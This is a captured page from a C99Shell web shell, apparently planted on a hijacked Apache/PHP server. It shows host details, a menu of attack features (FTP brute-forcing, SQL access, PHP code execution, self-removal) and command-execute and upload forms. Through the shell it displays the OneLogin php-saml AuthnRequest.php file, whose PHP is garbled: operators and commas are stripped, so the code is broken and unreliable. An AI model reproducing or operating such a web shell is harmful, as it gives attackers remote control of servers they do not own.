!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_led/php/vendor/onelogin/php-saml/lib/Saml2/   drwxrwxr-x
Free 15.53 GB of 61.93 GB (25.07%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     AuthnRequest.php (4.11 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * SAML 2 Authentication Request
 *
 */
class OneLogin_Saml2_AuthnRequest
{

    
/**
     * Object that represents the setting info
     * @var OneLogin_Saml2_Settings
     */
    
protected $_settings;

    
/**
     * SAML AuthNRequest string
     * @var string
     */
    
private $_authnRequest;

    
/**
     * SAML AuthNRequest ID.
     * @var string
     */
    
private $_id;

    
/**
     * Constructs the AuthnRequest object.
     *
     * @param OneLogin_Saml2_Settings $settings Settings
     */
    
public function __construct(OneLogin_Saml2_Settings $settings$forceAuthn false$isPassive false)
    {
        
$this->_settings $settings;

        
$spData $this->_settings->getSPData();
        
$idpData $this->_settings->getIdPData();
        
$security $this->_settings->getSecurityData();

        
$id OneLogin_Saml2_Utils::generateUniqueID();
        
$issueInstant OneLogin_Saml2_Utils::parseTime2SAML(time());
        
        
$nameIDPolicyFormat $spData['NameIDFormat'];
        if (isset(
$security['wantNameIdEncrypted']) && $security['wantNameIdEncrypted']) {
            
$nameIDPolicyFormat OneLogin_Saml2_Constants::NAMEID_ENCRYPTED;
        }

        
$providerNameStr '';
        
$organizationData $settings->getOrganization();
        if (!empty(
$organizationData)) {
            
$langs array_keys($organizationData);
            if (
in_array('en-US'$langs)) {
                
$lang 'en-US';
            } else {
                
$lang $langs[0];
            }
            if (isset(
$organizationData[$lang]['displayname']) && !empty($organizationData[$lang]['displayname'])) {
                
$providerNameStr = <<<PROVIDERNAME
    ProviderName="{$organizationData[$lang]['displayname']}
PROVIDERNAME;
            }
        }

        
$forceAuthnStr '';
        if (
$forceAuthn) {
            
$forceAuthnStr = <<<FORCEAUTHN

    ForceAuthn="true"
FORCEAUTHN;
        }

        
$isPassiveStr '';
        if (
$isPassive) {
            
$isPassiveStr = <<<ISPASSIVE

    IsPassive="true"
ISPASSIVE;
        }

        
$requestedAuthnStr '';
        if (isset(
$security['requestedAuthnContext']) && $security['requestedAuthnContext'] !== false) {
            if (
$security['requestedAuthnContext'] === true) {
                
$requestedAuthnStr = <<<REQUESTEDAUTHN
    <samlp:RequestedAuthnContext Comparison="exact">
        <saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml:AuthnContextClassRef>
    </samlp:RequestedAuthnContext>
REQUESTEDAUTHN;
            } else {
                
$requestedAuthnStr .= "    <samlp:RequestedAuthnContext Comparison=\"exact\">\n";
                foreach (
$security['requestedAuthnContext'] as $contextValue) {
                    
$requestedAuthnStr .= "        <saml:AuthnContextClassRef>".$contextValue."</saml:AuthnContextClassRef>\n";
                }
                
$requestedAuthnStr .= '    </samlp:RequestedAuthnContext>';
            }
        }

        
$request = <<<AUTHNREQUEST
<samlp:AuthnRequest
    xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
    xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
    ID="
$id"
    Version="2.0"
{$providerNameStr}{$forceAuthnStr}{$isPassiveStr}
    IssueInstant="
$issueInstant"
    Destination="
{$idpData['singleSignOnService']['url']}"
    ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST"
    AssertionConsumerServiceURL="
{$spData['assertionConsumerService']['url']}">
    <saml:Issuer>
{$spData['entityId']}</saml:Issuer>
    <samlp:NameIDPolicy
        Format="
{$nameIDPolicyFormat}"
        AllowCreate="true" />
{$requestedAuthnStr}
</samlp:AuthnRequest>
AUTHNREQUEST;

        
$this->_id $id;
        
$this->_authnRequest $request;
    }

    
/**
     * Returns deflated, base64 encoded, unsigned AuthnRequest.
     *
     */
    
public function getRequest()
    {
        
$deflatedRequest gzdeflate($this->_authnRequest);
        
$base64Request base64_encode($deflatedRequest);
        return 
$base64Request;
    }

    
/**
     * Returns the AuthNRequest ID.
     *
     * @return string
     */
    
public function getId()
    {
        return 
$this->_id;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.5193 ]--